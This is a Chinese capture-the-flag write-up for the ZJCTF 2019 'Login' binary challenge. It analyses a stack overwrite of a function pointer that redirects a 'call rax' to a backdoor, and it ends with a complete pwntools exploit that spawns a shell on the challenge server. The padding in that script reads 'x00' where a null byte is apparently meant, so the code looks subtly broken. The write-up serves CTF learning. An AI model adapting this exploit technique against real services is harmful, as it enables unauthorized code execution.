[ZJCTF 2019]Login
步骤:
- 例行检查,64位程序,开启了canary和nx保护
2. 试运行一下程序
3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd
再次尝试登录,无果
在程序里找到了后门函数,backdoor=0x400e88
c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻
问题出现在检查密码的那个函数上
反编译出来的伪代码看起来没什么问题
但是我们按下tab,看它的汇编,程序在结束前调用了call rax指令
逆向找一下rax的来源,通过查看汇编,找到了进入函数前给rax赋值的指令
通过ida查看读入密码的函数
看一下它在栈上的位置,距离是0x60-0x18 = 0x48
我们可以通过读入密码s去将var_18的地址改成我们之前看到的backdoor地址,之后检查密码的时候就跳转到那边,获取shell了
密码2jctf_pa5sw0rd的长度是14(0xe),0x48-0xe=0x3a,我们在填充0x3a长度的数据,之后到了var_18的地址,填上backdoor地址,即可完成利用
完整exp
from pwn import *
r = remote('node3.buuoj.cn',29427)
backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'x00'*0x3a+p64(backdoor))
r.interactive()
附上借鉴师傅的wp